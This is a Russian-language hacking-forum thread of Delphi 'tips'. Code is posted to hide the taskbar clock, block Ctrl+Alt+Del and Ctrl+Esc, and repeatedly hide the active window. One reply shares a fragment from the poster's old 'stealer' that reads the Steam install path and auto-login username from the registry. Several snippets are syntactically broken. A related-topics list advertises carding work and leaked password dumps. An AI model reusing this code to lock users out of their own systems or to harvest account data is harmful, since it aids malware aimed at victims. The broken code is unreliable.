Несколько шпор по Delphi =)

A

AngelOfLove

Привет =) Это тема создана для новичков. Тут я выложу несколько шпор по Delphi.
1) Данный код удаляет часы с панели задачи.
[HIDE=5]
Код:
Wnd:THandle;
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd1, nil);
Wnd := FindWindowEx(Wnd, HWND(0), 'TrayClockWClass \ n i l ) ;
ShowWindow(Wnd, SW_HIDE);
end;
[/HIDE]
2) Тут мы отрубаем сочетание Ctrl+Alt+Delet.
[HIDE=5]
Код:
var
i:integer;
begin
i := 0;
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, Si, 0);
end;
[/HIDE]
3) А тут мы отрубаем сочетание Ctrl+Esc.
[HIDE=5]
Код:
var
i:integer;
begin
i := 0;
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @i, 0);
end;
[/HIDE]
4) А тут написано исчезновение чужого окна.
[HIDE=5]
Код:
var
n:HWND;
begin
while true do
begin
h:=GetForegroundWindow;
ShowWindow(h,SW_HIDE) ;
Sleep(2000);
end;
end;
[/HIDE]
Ну вот и все ) На сегодня хватит =D
 
S

snr93

Статья "Как сделать так, чтобы ваша прога палилась вообще всем" :) Без обид, автор)

Вот тебе еще набросал из своего стиллера древнего.
Как узнать есть ли на компе программа и найти где она установлена:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, StdCtrls, ComCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    ProgressBar1: TProgressBar;
    Label2: TLabel;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Reg : TRegistry;  //переменная для работы с реестром
  SteamPath : string; //храним путь до STEAM
  CurrentSteamUser : string; //храним имя последнего логина STEAM

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
//!!!===========Проверяем, а есть ли вообще Steam==============!!!//
  Reg := TRegistry.Create;
  if not Reg.OpenKey('SOFTWARE\Valve\Steam\', false) then
  begin
  Reg.Free;
    //ShowMessage('Steam не найден');
  Application.Terminate
  end else
//!!!=============Если Steam есть, то=====================!!!//
  ProgressBar1.Max := 100; //говорим что ProgressBar имеет максимальное значение 100
  ProgressBar1.Position := ProgressBar1.Position +10;

  Reg := Tregistry.Create(KEY_READ); //говорим что нам нужно только чтение реестра
  Try
    Reg.RootKey := HKEY_CURRENT_USER; //говорим что будем работать с этой веткой
    Reg.OpenKeyReadOnly('SOFTWARE\Valve\Steam');
      //Memo1.Lines.Add (reg.CurrentPath); //для теста, смотрим где мы
    SteamPath := reg.ReadString('SteamExe');
    ProgressBar1.Position := ProgressBar1.Position +30;

      //Memo1.Lines.Add (SteamPath); //для теста, выводим путь до Steam
    CurrentSteamUser := reg.Readstring('AutoLoginUser'); //храним имя авторизованного пользователя
    ProgressBar1.Position := ProgressBar1.Position +30;

      //Memo1.Lines.Add (CurrentSteamUser); //для теста, выводим имя пользователя Steam
  //производим действия с реестром
  Finally
    Reg.Free;  //закрываем работу с реестром
    ProgressBar1.Position := ProgressBar1.Position +30;
  //!!!===================Тут код, когда нашли Steam путь и имя учетки===========================!!!//
  //if ProgressBar1.Position := ProgressBar1.Max then
  begin
  //тут код, если прогресс бар заполнен
    end;
      end;
        end;
end.
 
S

snr93

4) А тут написано исчезновение чужого окна.
Скрытый контент. Для просмотра информации необходимо 5 сообщений.

Код:
var
n:HWND;
begin
while true do
begin
h:=GetForegroundWindow;
ShowWindow(h,SW_HIDE) ;
Sleep(2000);
end;
end;

кхм. Где тут скрытие чужого окна? Тут скрытие активного окна. Ты в переменную h загнал хендл активного окна. А если активного окна не будет, код вообще не отработает :)
 
Похожие темы
Admin UFOLABSNEWS Brave обновился и стал инструментом для продуктивности: несколько аккаунтов в одном браузере. Новости в сети 0
Admin Интересно Huawei представила уникальный процессор толщиной в несколько атомов. Новости в сети 0
Admin Интересно Уязвимость в PraisonAI эксплуатируется спустя несколько часов после публикации. Новости в сети 0
Admin Интересно VPN, украденный пароль и скрипт с GitHub. Хакер захватил корпоративную сеть за несколько часов — почти без следов. Новости в сети 0
Admin Интересно Компания Hasbro сообщила о кибератаке, которая вывела системы из строя на несколько недель. Новости в сети 0
Admin Интересно Microsoft позволяет Copilot использовать несколько моделей ИИ одновременно для взаимной проверки. Новости в сети 0
Support81 Эксплоит за несколько часов: как работает элитная киберармия Китая Новости в сети 0
Black_pps Возьму в приват тему буквально несколько человек | c a r d i n g Предоставляю работу. Ищу специалиста. 0
Support81 Угнать за 48 часов: в ваших сетях могут оказаться сразу несколько вымогателей Новости в сети 0
Admin 40,000 / данные о регистрации на Форекс | Несколько стран | Раздачи и сливы 0
G Несколько миллиардов почт с паролями. Раздачи и сливы 0
D Несколько onion-ссылок для Dark Net (не моё). Полезные статьи 13
V Несколько сервисов для безопасного обмена фотографиями Полезные статьи 0
L Заработок криптовалюты за несколько кликов Способы заработка 13
D "база" для подделки паспортов(несколько фото м/ж,города,улицы и т.д.) Полезные статьи 7
M Несколько IP камер Полезные статьи 10
Admin Несколько векторов обхода для Incapsula WAF Уязвимости и взлом 1
K Ускоряем браузер Mozilla Firefox в несколько раз. Полезные статьи 0
Z нужно несколько аккаунтов вк Раздачи и сливы 3
АнАлЬнАя ЧуПаКаБрА Несколько онлайн чекеров Готовый софт 3
Admin UFOLABSNEWS Злоумышленники используют браузеры жертв для сборки вредоносного ПО. Новости в сети 0
Admin Интересно Хакеры используют плагины Notepad++ для скрытой установки вредоносного ПО. Новости в сети 0
Admin Интересно Восстание машин началось на ринге: как прошел первый турнир по боям без правил роботов-терминаторов T800. Новости в сети 0
devqp Статья Полное руководство по FTID: методы мошеннических возвратов от V1 до V10 Фишинг, мошенничество, СИ 0
devqp Статья Практическое руководство по поиску уязвимостей в сетевой инфраструктуре Уязвимости и взлом 0
Admin Интересно На GitHub обнаружено почти 300 поддельных репозиториев, распространяющих вредоносное ПО. Новости в сети 0
Admin UFOLABSNEWS АНБ возродило хакерское подразделение TAO, известное по Stuxnet и WannaCry. Новости в сети 0
devqp Статья Руководства и технические отчеты по ChatGPT и GPT-4 на русском и английском Полезные статьи 0
Admin UFOLABSNEWS Бесплатный VPN WireVPN оказался частью крупной схемы по продаже интернет-трафика. Новости в сети 0
Admin UFOLABSNEWS Бывший переговорщик по ransomware приговорен к 70 месяцам тюрьмы за помощь группировке BlackCat. Новости в сети 0
devqp Статья Полное руководство по цифровой анонимности и защите от деанонимизации Анонимность и приватность 0
devqp Статья Полное руководство по безопасному старту в P2P-трейдинге Полезные статьи 0
devqp Статья Иллюзия анонимности: Как Tor Browser палит вас по железу (Canvas/WebGL) и метод обхода Анонимность и приватность 0
Admin UFOLABSNEWS Эффект саранчи. Ученые объяснили механику массовых фанатских ритуалов на ЧМ по футболу. Новости в сети 0
Admin UFOLABSNEWS Новый метод HalluSquatting позволяет обмануть ИИ-ассистентов для установки вредоносного ПО. Новости в сети 0
Admin UFOLABSNEWS Создатели шпионского ПО Predator столкнулись с коллективным иском на 7,6 млн евро. Новости в сети 0
Admin UFOLABSNEWS Китайские хакеры UAT-7810 расширяют сеть ORB с помощью нового вредоносного ПО LONGLEASH. Новости в сети 0
Admin UFOLABSNEWS Китайские хакеры разработали вредоносное ПО LONGLEASH для расширения сети ORB. Новости в сети 0
Admin UFOLABSNEWS Группа Armored Likho использует ИИ для создания вредоносного ПО. Новости в сети 0
Admin UFOLABSNEWS Китайские хакеры используют поддельное налоговое ПО для распространения трояна DcRAT. Новости в сети 0
Admin UFOLABSNEWS Капча оказалась ловушкой: фишинговый сайт с имитацией Cloudflare заразил компьютер вредоносным ПО. Новости в сети 0
Admin UFOLABSNEWS Появилось вредоносное ПО с искусственным интеллектом для атак вымогателей. Новости в сети 0
Admin UFOLABSNEWS DeepSeek помог создать вымогательское ПО, зашифровавшее реальный смартфон на Android. Новости в сети 0
Admin UFOLABSNEWS Член Европарламента, расследовавший использование шпионского ПО, стал жертвой Pegasus. Новости в сети 0
Admin UFOLABSNEWS В России создан оперативный штаб по борьбе с кибермошенничеством. Новости в сети 0
Admin UFOLABSNEWS Искусственный интеллект научился предсказывать риск внезапной остановки сердца по ЭКГ. Новости в сети 0
Admin UFOLABSNEWS Исследователь проанализировал 3000 вредоносных нагрузок ClickFix, раскрыв API-управляемую доставку вредоносного ПО. Новости в сети 0
Admin UFOLABSNEWS Бывший советник по нацбезопасности США признал вину в утечке секретных данных. Новости в сети 0
Admin UFOLABSNEWS Более 4000 устаревших маршрутизаторов скомпрометированы вредоносным ПО AryStinger. Новости в сети 0
Admin UFOLABSNEWS Украинские спецслужбы раскрыли кампанию российских хакеров по краже данных через фейковые SMS. Новости в сети 0

Название темы